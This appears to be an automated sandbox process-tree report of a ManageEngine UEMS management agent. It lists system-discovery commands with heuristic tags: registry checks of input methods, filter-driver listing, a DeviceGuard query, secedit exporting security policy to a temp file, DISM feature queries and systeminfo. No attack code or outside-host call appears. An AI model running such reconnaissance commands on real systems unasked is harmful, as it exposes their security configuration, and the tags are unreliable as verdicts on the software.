                                                                          powershell.exe -ExecutionPolicy Restricted -Command $Res = 0 $InboxIMEs = (@( '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}', '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}', '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}', '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}', '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}', '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}', '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}', '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}' ) | ForEach-Object { [regex]::Escape($_) }) -join '|' $InboxPattern = 'TIP\\(?:' + $InboxIMEs + ')' $LanguageProfiles = Get-Item 'HKLM:\SOFTWARE\Microsoft\CTF\TIP\{????????-????-????-????-????????????}\LanguageProfile\0x*\{????????-????-????-????-????????????}' -EA SilentlyContinue foreach ($prof in @($LanguageProfiles)) { if ($prof.PSPath -match $InboxPattern) { continue } $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable') if ((-not $hasEnable) -or ($pp.Enable -eq 1)) { $Res = 1 break } } Write-Host 'Final result:',$Res
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:4756
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:3688
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell.exe -ExecutionPolicy Restricted -Command $Res = 0 $InboxIMEs = (@( '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}', '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}', '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}', '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}', '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}', '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}', '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}', '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}' ) | ForEach-Object { [regex]::Escape($_) }) -join '|' $InboxPattern = 'TIP\\(?:' + $InboxIMEs + ')' $LanguageProfiles = Get-Item 'HKLM:\SOFTWARE\Microsoft\CTF\TIP\{????????-????-????-????-????????????}\LanguageProfile\0x*\{????????-????-????-????-????????????}' -EA SilentlyContinue foreach ($prof in @($LanguageProfiles)) { if ($prof.PSPath -match $InboxPattern) { continue } $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable') if ((-not $hasEnable) -or ($pp.Enable -eq 1)) { $Res = 1 break } } Write-Host 'Final result:',$Res
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:2824
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:1520
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell.exe -ExecutionPolicy Restricted -Command $Res = 0 $InboxIMEs = (@( '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}', '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}', '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}', '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}', '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}', '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}', '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}', '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}' ) | ForEach-Object { [regex]::Escape($_) }) -join '|' $InboxPattern = 'TIP\\(?:' + $InboxIMEs + ')' $LanguageProfiles = Get-Item 'HKLM:\SOFTWARE\Microsoft\CTF\TIP\{????????-????-????-????-????????????}\LanguageProfile\0x*\{????????-????-????-????-????????????}' -EA SilentlyContinue foreach ($prof in @($LanguageProfiles)) { if ($prof.PSPath -match $InboxPattern) { continue } $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable') if ((-not $hasEnable) -or ($pp.Enable -eq 1)) { $Res = 1 break } } Write-Host 'Final result:',$Res
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:5784
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:3724
                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr100316-sp100392.xml.gz" *
                                                                        5⤵
                                                                          PID:4340
                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr100397-sp100474.xml.gz" *
                                                                          5⤵
                                                                            PID:4400
                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1906-sp3076.xml.gz" *
                                                                            5⤵
                                                                              PID:720
                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1939-sp3120.xml.gz" *
                                                                              5⤵
                                                                                PID:6036
                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1949-sp3133.xml.gz" *
                                                                                5⤵
                                                                                  PID:236
                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1110-sp2137.xml.gz" *
                                                                                  5⤵
                                                                                    PID:5888
                                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr100226-sp100296.xml.gz" *
                                                                                    5⤵
                                                                                      PID:3696
                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr100208-sp100270.xml.gz" *
                                                                                      5⤵
                                                                                        PID:6124
                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1148-sp2169.xml.gz" *
                                                                                        5⤵
                                                                                          PID:4572
                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr100241-sp100311.xml.gz" *
                                                                                          5⤵
                                                                                            PID:3452
                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr81-sp2171.xml.gz" *
                                                                                            5⤵
                                                                                              PID:1468
                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1201-sp2213.xml.gz" *
                                                                                              5⤵
                                                                                                PID:4816
                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1200-sp2211.xml.gz" *
                                                                                                5⤵
                                                                                                  PID:712
                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1259-sp2288.xml.gz" *
                                                                                                  5⤵
                                                                                                    PID:4336
                                                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1258-sp2287.xml.gz" *
                                                                                                    5⤵
                                                                                                      PID:5056
                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr102221-sp102329.xml.gz" *
                                                                                                      5⤵
                                                                                                        PID:1144
                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1596-sp2707.xml.gz" *
                                                                                                        5⤵
                                                                                                          PID:1424
                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr2073-sp3270.xml.gz" *
                                                                                                          5⤵
                                                                                                            PID:5616
                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1652-sp2964.xml.gz" *
                                                                                                            5⤵
                                                                                                              PID:2272
                                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr101483-sp101584.xml.gz" *
                                                                                                              5⤵
                                                                                                                PID:3888
                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr100183-sp100239.xml.gz" *
                                                                                                                5⤵
                                                                                                                  PID:4844
                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1791-sp2902.xml.gz" *
                                                                                                                  5⤵
                                                                                                                    PID:5876
                                                                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1804-sp2932.xml.gz" *
                                                                                                                    5⤵
                                                                                                                      PID:5640
                                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1817-sp2968.xml.gz" *
                                                                                                                      5⤵
                                                                                                                        PID:3348
                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1814-sp2952.xml.gz" *
                                                                                                                        5⤵
                                                                                                                          PID:4228
                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1828-sp2985.xml.gz" *
                                                                                                                          5⤵
                                                                                                                            PID:5744
                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1846-sp3000.xml.gz" *
                                                                                                                            5⤵
                                                                                                                              PID:2368
                                                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data\pr1845-sp2999.xml.gz" *
                                                                                                                              5⤵
                                                                                                                                PID:4304
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\System32\cmd.exe /c Fltmc filters 2>&1
                                                                                                                                5⤵
                                                                                                                                • Executes a command shell one-liner
                                                                                                                                PID:3424
                                                                                                                                • C:\Windows\SysWOW64\fltMC.exe
                                                                                                                                  Fltmc filters
                                                                                                                                  6⤵
                                                                                                                                    PID:4988
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  C:\Windows\System32\cmd.exe /c Fltmc filters 2>&1
                                                                                                                                  5⤵
                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                  PID:2548
                                                                                                                                  • C:\Windows\system32\fltMC.exe
                                                                                                                                    Fltmc filters
                                                                                                                                    6⤵
                                                                                                                                      PID:3888
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    C:\Windows\System32\cmd.exe /c Fltmc filters 2>&1
                                                                                                                                    5⤵
                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                    PID:1900
                                                                                                                                    • C:\Windows\system32\fltMC.exe
                                                                                                                                      Fltmc filters
                                                                                                                                      6⤵
                                                                                                                                        PID:3308
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      C:\Windows\System32\cmd.exe /c Fltmc filters 2>&1
                                                                                                                                      5⤵
                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                      PID:5472
                                                                                                                                      • C:\Windows\system32\fltMC.exe
                                                                                                                                        Fltmc filters
                                                                                                                                        6⤵
                                                                                                                                          PID:5416
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        C:\Windows\System32\cmd.exe /c Powershell "(Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning"
                                                                                                                                        5⤵
                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                        PID:444
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Powershell "(Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning"
                                                                                                                                          6⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          PID:4996
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        C:\Windows\System32\cmd.exe /c Powershell "(Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning"
                                                                                                                                        5⤵
                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                        PID:2084
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          Powershell "(Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning"
                                                                                                                                          6⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          PID:4160
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\System32\cmd.exe /c C:\Windows\System32\secedit.exe /export /cfg C:\Windows\Temp\dc_secconfig.cfg
                                                                                                                                        5⤵
                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                        PID:6020
                                                                                                                                        • C:\Windows\SysWOW64\SecEdit.exe
                                                                                                                                          C:\Windows\System32\secedit.exe /export /cfg C:\Windows\Temp\dc_secconfig.cfg
                                                                                                                                          6⤵
                                                                                                                                            PID:3392
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\System32\cmd.exe /c C:\Windows\System32\secedit.exe /export /cfg C:\Windows\Temp\dc_secconfig.cfg
                                                                                                                                          5⤵
                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                          PID:108
                                                                                                                                          • C:\Windows\SysWOW64\SecEdit.exe
                                                                                                                                            C:\Windows\System32\secedit.exe /export /cfg C:\Windows\Temp\dc_secconfig.cfg
                                                                                                                                            6⤵
                                                                                                                                              PID:3420
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\System32\cmd.exe /c C:\Windows\System32\secedit.exe /export /cfg C:\Windows\Temp\dc_secconfig.cfg
                                                                                                                                            5⤵
                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                            PID:1516
                                                                                                                                            • C:\Windows\SysWOW64\SecEdit.exe
                                                                                                                                              C:\Windows\System32\secedit.exe /export /cfg C:\Windows\Temp\dc_secconfig.cfg
                                                                                                                                              6⤵
                                                                                                                                                PID:3744
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              C:\Windows\System32\cmd.exe /c C:\Windows\System32\secedit.exe /export /cfg C:\Windows\Temp\dc_secconfig.cfg
                                                                                                                                              5⤵
                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                              PID:3636
                                                                                                                                              • C:\Windows\SysWOW64\SecEdit.exe
                                                                                                                                                C:\Windows\System32\secedit.exe /export /cfg C:\Windows\Temp\dc_secconfig.cfg
                                                                                                                                                6⤵
                                                                                                                                                  PID:3216
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                C:\Windows\System32\cmd.exe /c C:\Windows\System32\Dism.exe /Online /Get-FeatureInfo /FeatureName:SMB1Protocol
                                                                                                                                                5⤵
                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                PID:5616
                                                                                                                                                • C:\Windows\System32\Dism.exe
                                                                                                                                                  C:\Windows\System32\Dism.exe /Online /Get-FeatureInfo /FeatureName:SMB1Protocol
                                                                                                                                                  6⤵
                                                                                                                                                    PID:4964
                                                                                                                                                    • C:\Windows\System32\Dism\dismhost.exe
                                                                                                                                                      C:\Windows\System32\Dism\dismhost.exe {73788EED-57DA-4BAB-884F-1386CACD0281}
                                                                                                                                                      7⤵
                                                                                                                                                        PID:3376
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    C:\Windows\System32\cmd.exe /c C:\Windows\System32\Dism.exe /Online /Get-FeatureInfo /FeatureName:TelnetClient
                                                                                                                                                    5⤵
                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                    PID:1052
                                                                                                                                                    • C:\Windows\System32\Dism.exe
                                                                                                                                                      C:\Windows\System32\Dism.exe /Online /Get-FeatureInfo /FeatureName:TelnetClient
                                                                                                                                                      6⤵
                                                                                                                                                        PID:5436
                                                                                                                                                        • C:\Windows\System32\Dism\dismhost.exe
                                                                                                                                                          C:\Windows\System32\Dism\dismhost.exe {11F80D71-CB67-4E92-BF48-89064A79FE1B}
                                                                                                                                                          7⤵
                                                                                                                                                            PID:5536
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        C:\Windows\System32\cmd.exe /c C:\Windows\System32\Dism.exe /Online /Get-FeatureInfo /FeatureName:SimpleTCP
                                                                                                                                                        5⤵
                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                        PID:5988
                                                                                                                                                        • C:\Windows\System32\Dism.exe
                                                                                                                                                          C:\Windows\System32\Dism.exe /Online /Get-FeatureInfo /FeatureName:SimpleTCP
                                                                                                                                                          6⤵
                                                                                                                                                            PID:4264
                                                                                                                                                            • C:\Windows\System32\Dism\dismhost.exe
                                                                                                                                                              C:\Windows\System32\Dism\dismhost.exe {304414C1-97CF-4BEA-853B-95905FD43205}
                                                                                                                                                              7⤵
                                                                                                                                                                PID:3308
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            C:\Windows\System32\cmd.exe /c C:\Windows\System32\Dism.exe /Online /Get-FeatureInfo /FeatureName:TFTP
                                                                                                                                                            5⤵
                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                            PID:4728
                                                                                                                                                            • C:\Windows\System32\Dism.exe
                                                                                                                                                              C:\Windows\System32\Dism.exe /Online /Get-FeatureInfo /FeatureName:TFTP
                                                                                                                                                              6⤵
                                                                                                                                                                PID:200
                                                                                                                                                                • C:\Windows\System32\Dism\dismhost.exe
                                                                                                                                                                  C:\Windows\System32\Dism\dismhost.exe {D090D754-80D9-46C3-B99C-37EA9E8FD7A8}
                                                                                                                                                                  7⤵
                                                                                                                                                                    PID:1804
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"
                                                                                                                                                              4⤵
                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                              PID:4628
                                                                                                                                                              • C:\Windows\SysWOW64\systeminfo.exe
                                                                                                                                                                systeminfo.exe
                                                                                                                                                                5⤵
                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                • Gathers system information
                                                                                                                                                                PID:832
                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
                                                                                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
                                                                                                                                                        1⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        PID:5000
                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
                                                                                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
                                                                                                                                                        1⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                        • Modifies registry class
                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                        PID:1368
                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exe
                                                                                                                                                          CRU_Reporter.exe -RegisterCRU
                                                                                                                                                          2⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          PID:1160
                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"
                                                                                                                                                          2⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                          PID:1880
                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe
                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 9
                                                                                                                                                            3⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                            PID:2348
                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
                                                                                                                                                          7 0 0
                                                                                                                                                          2⤵
                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                          PID:2400
                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
                                                                                                                                                          bin\dcstatusutil.exe RequestAgentSlotFromServer
                                                                                                                                                          2⤵
                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                          PID:4684
                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
                                                                                                                                                          2⤵
                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                          PID:920
                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe
                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL
                                                                                                                                                          2⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          • Reads the TCP/IP host and domain name from the registry
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          PID:4828
                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
